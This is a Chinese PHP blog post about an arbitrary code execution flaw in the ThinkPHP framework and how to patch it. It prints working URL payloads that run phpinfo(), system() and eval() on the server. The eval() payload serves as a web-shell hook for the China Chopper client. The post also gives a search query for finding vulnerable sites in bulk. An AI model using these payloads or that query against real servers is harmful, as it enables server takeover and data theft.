ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
PHP数组交集的优化代码分析
Mar 06 PHP
PHP中改变图片的尺寸大小的代码
Jul 17 PHP
解决文件名解压后乱码的问题 将文件名进行转码的代码
Jan 10 PHP
探讨:使用XMLSerialize 序列化与反序列化
Jun 08 PHP
Yii框架中 find findAll 查找出制定的字段的方法对比
Sep 10 PHP
PHP的pcntl多进程用法实例
Mar 19 PHP
PHP中iconv函数知识汇总
Jul 02 PHP
PHP水印类,支持添加图片、文字、填充颜色区域的实现
Feb 04 PHP
PHP实现打包zip并下载功能
Jun 12 PHP
yii2 上传图片的示例代码
Nov 02 PHP
PHP开发实现快递查询功能详解
Apr 08 PHP
Laravel 对某一列进行筛选然后求和sum()的例子
Oct 10 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
php print EOF实现方法
2009/05/21 PHP
PHP 源代码压缩小工具
2009/12/22 PHP
yii2使用ajax返回json的实现方法
2016/05/14 PHP
Linux平台PHP5.4设置FPM线程数量的方法
2016/11/09 PHP
Laravel中七个非常有用但很少人知道的Carbon方法
2017/09/21 PHP
JS解析json数据并将json字符串转化为数组的实现方法
2012/12/25 Javascript
JQUERY实现左侧TIPS滑进滑出效果示例
2013/06/27 Javascript
jquery.post用法示例代码
2014/01/03 Javascript
javascript进行数组追加方法小结
2014/06/16 Javascript
在JavaScript里防止事件函数高频触发和高频调用的方法
2014/09/06 Javascript
jQuery中:contains选择器用法实例
2014/12/30 Javascript
javascript浏览器窗口之间传递数据的方法
2015/01/20 Javascript
html的DOM中document对象anchors集合用法实例
2015/01/21 Javascript
jquery中JSON的解析方式
2015/03/16 Javascript
js判断当前页面用什么浏览器打开的方法
2016/01/06 Javascript
详解javascript表单的Ajax提交插件的使用
2016/12/29 Javascript
原生js实现放大镜
2017/02/20 Javascript
JavaScript实现焦点进入文本框内关闭输入法的核心代码
2017/09/20 Javascript
React组件对子组件children进行加强的方法
2019/06/23 Javascript
JS实现判断移动端PC端功能
2020/02/21 Javascript
python使用fileinput模块实现逐行读取文件的方法
2015/04/29 Python
python中OrderedDict的使用方法详解
2017/05/05 Python
Python虚拟环境项目实例
2017/11/20 Python
python Pexpect 实现输密码 scp 拷贝的方法
2019/01/03 Python
pyhanlp安装介绍和简单应用
2019/02/22 Python
Python日志:自定义输出字段 json格式输出方式
2020/04/27 Python
python随机模块random的22种函数(小结)
2020/05/15 Python
解析HTML5的存储功能和web SQL的相关操作方法
2016/02/19 HTML / CSS
Html5与App的通讯方式详解
2019/10/24 HTML / CSS
西海岸男士和男童服装:Johnnie-O
2018/03/15 全球购物
怀旧香味蜡烛:Homesick
2019/11/02 全球购物
行政经理岗位职责
2013/11/09 职场文书
二年级语文教学反思
2014/02/02 职场文书
三八节主持词
2014/03/17 职场文书
如何解决springcloud feign 首次调用100%失败的问题
2021/06/23 Java/Android
Java实现字符串转为驼峰格式的方法详解
2022/07/07 Java/Android